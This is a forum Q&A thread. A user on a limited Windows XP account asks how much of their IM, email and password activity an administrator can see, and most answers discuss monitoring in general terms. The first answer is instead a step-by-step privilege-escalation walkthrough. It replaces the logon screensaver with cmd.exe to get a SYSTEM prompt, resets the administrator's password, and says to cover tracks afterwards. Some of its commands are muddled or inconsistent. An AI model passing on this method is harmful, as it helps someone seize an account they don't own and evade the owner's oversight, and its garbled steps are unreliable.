I have windows xp, I have a limited account. How much of what i do can be seen by the administrator?Ims?Email?

Question

I would like to know if it is possible for my IM conversations to be read. Can ALL conersations be read? Does the message program matter (AIM, yahoo, msn, etc.) And what about emails? Passwords to myspace or other websites?
I would really appreciate some answers,
thanks a lot : )

Answer 1

Well this one will atually work but be careful to follow these steps closely OK let's start---
1.) First if you have another account other than the system administrator and you can bring up the Windows command Shell which is cmd.exe then your ready.

2.) To open cmd.exe just click on the Start button and click RUN
type cmd.exe once you've done that then your in.

3.) go to the system root directory by typing "cd\" without the quotes, next type "cd\windows\system32\" OR "cd\winnt\system32"
depending on where the Windows [stuff] are located.

4.) once you see system32 at the end of the command line. (warning! here comes the hard part).

5.) start by typing "mkdir tempdir" without the qoutes press enter
next type "copy logon.scr tempdir\logon.scr" also "copy cmd.exe tempdir\cmd.exe" again no quotes, press enter after each line
(type help to understand what you are doing)

6.) next "del logon.scr" deletes original logon.scr

7.) next "rename cmd.exe logon.scr" renames cmd.exe to logon.scr

8.)"exit" quits dos

9.)Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password *SHEET* enter this
"net user Frank SHEET"

10.) and this changes the password on franks machine to *SHEET* and your in.
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

11.) Now log off the machine, logon.scr is the screen saver that will kick in after 15 minutes of not touching the keyboard/mouse at the logon screen. Wait 15-20 minutes and a DOS prompt with FULL SYSTEM rights will pop up, then just to
C:\> net user administrator
and then log in with the new account.
Try this, might work, as long as he didn't change default permissions on C:\winnt and C:\winnt\system32 you should be golden.

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Answer 2

It really depends on what the administrator has installed and what they are auditing. Most likely you are safe to use IM unless you have chat logging enabled. Then if the administrator knows where the logs are they can go to your computer and read the logs. But most don't have the time for that and will usually just have a policy in place saying no IMs allowed and if they are really good they will block the IM port on the firewall so you won't ever be able to connect to the application. The IM program doesn't matter, its more of what you have enabled like chat logging. There are ways they can see the information by using whats called a network sniffer that will intercept the communications and show them the flow of traffic from your PC.

Emails they can access when they have the need to. We have to do it on occasion at my work place for management. But usually its only when there is a need for access to the email. As for passwords and other websites, really the only way they will know your passwords is if they are using a sniffer on the network which most admins don't have enabled. Its more of a network troubleshooting tool. But keep in mind that some admins will log which websites are being visited to ensure the employees are not viewing adult content from work. Sites like myspace and Yahoo should be fine.

Answer 3

The short answer is everything can be monitored. There is no place to hide on a private network. Traffic on the private network belongs to the owners of that network, not to the users.

Answer 4

The administrator of a computer has FULL access to everything which is on it...However,,they have to have computer knowledge to be able to trace every account

Answer 5

EVERYTHING came de detected and displayed....unless you encrypt and make private...however a 'keylogger' app. can still see the files, and a good hacker can brute force crack you passwords.... so clean up your chat, stop going to porn sites, and you will be a better person in the end.

Answer 6

The admin can and probably does "emulate" your screen on his or hers. Basically everything that happens on your screen will also happen on their screen. They can do this at any time and there is no way you can tell when it is happening. It would be exactly like someone sitting with you watching everything you do.